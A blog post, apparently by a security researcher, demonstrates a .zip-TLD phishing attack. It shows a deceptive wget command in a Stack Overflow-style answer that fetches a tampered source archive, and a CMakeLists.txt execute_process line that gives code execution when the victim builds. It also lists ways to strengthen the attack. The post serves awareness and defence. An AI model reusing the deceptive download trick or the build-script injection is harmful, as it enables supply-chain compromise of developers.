Google recently launched the .zip TLD, and Twitter has been up in arms. It’s hard to imagine that .zip domains would be used for anything legitimate, and would instead give way to more creative phishing attacks. Accordingly, I quickly snagged while these domains were rapidly being bought up, and showed an example of how it might be used to trick a software developer into downloading a malicious ZIP file—yet there are still some that quite reasonably ask, “Should we really be so concerned about .zip TLDs?”

Will’s brief explanation is spot on, but let’s break this attack down in a bit more detail. The short video at the beginning of this post demonstrates how an attacker may craft a seemingly benign Stack Overflow response to persuade a software developer to:

  1. Download a malicious ZIP file1 containing source code that appears to come from a trusted domain.
  2. Extract the ZIP file and compile the source code, inadvertently granting the attacker code execution via a malicious Makefile.

In the example above, we take a legitimate source code URL, snip off the end, and append our own zip domain:

The horizontal scroll overflow really works in our favor here. A reader is able to see, which immediately inspires some trust; if they bother to scroll to the right (I’ll give that a ⁵⁰⁄₅₀ chance), they’ll see wget -q --content-disposition3 and would have to look closely to notice the space character before Here’s how that Wget command works:

$ wget \

    # Silence errors about the failed request to ``.
    --quiet \

    # Respect the `Content-Disposition` header from `` which
    # specifies the downloaded ZIP's filename.
    --content-disposition \

    # Wget allows multiple URLs. This first request will silently fail. \

    # This second request will download to disk as ``.

# Note the `filename` in the `Content-Disposition` header.
$ curl -sLI | grep content-disposition
content-disposition: attachment;

In this example, I simply appended execute_process (COMMAND bash -c "touch /tmp/pwn") to the Makefile faup-1.4/CMakeLists.txt which results in /tmp/pwn being created when the victim runs cmake .. at the end of the video. This attack could be improved by:

  • Timestomping the modified Makefile so it doesn’t stand out from the rest of the source code.
  • Calling back to an attacker-controlled C2 server rather than simply creating a file.
  • Registering a domain tailored to each attack instead of using the generic (but versatile) For example, passes with a higher score on the eyeball test:
  • Coercing a user to download a release file containing a malicious compiled binary instead of source code. The high-level “download > extract > execute” flow is the same, but a user will have an easier time executing a binary than they will compiling source code, and a tampered binary will be more difficult to detect than a tampered build script.
  • Using the @ character (instead of a space) before the .zip domain, like∕stricaud∕faup∕archive∕refs∕tags∕v1.4∕ Credit to @bobbyrsec for this idea.

My recommendations:

  • To network defenders: Since it seems so unlikely that this TLD will be used for any legitimate purpose, it’s probably reasonable to block all outbound requests to .zip domains.
  • To web enthusiasts: If you’re looking for a domain to host your blog, consider picking a TLD besides .zip since the network defenders above have probably already blocked it.
  • To software developers: Read before you paste.

  1. See for an example of how to create and deploy a malicious ZIP file using Cloudflare Pages. ↩︎

  2. There’s nothing special about that makes it vulnerable to this attack—it just happens to be my favorite CLI URL parser, and it has a relatively simple Makefile that I was able to easily modify. ↩︎

  3. Note that cURL can similarly download multiple files while respecting Content-Disposition using curl -JLO [URL]..., but the first failed request will prevent the second response from hitting disk. Not so for Wget, which allows the first request to fail while happily proceeding with the second URL. Unfortunately, Wget’s --content-disposition doesn’t have a short equivalent. You could instead specify -O, but I think the given option is more elegant. Attacker’s preference. ↩︎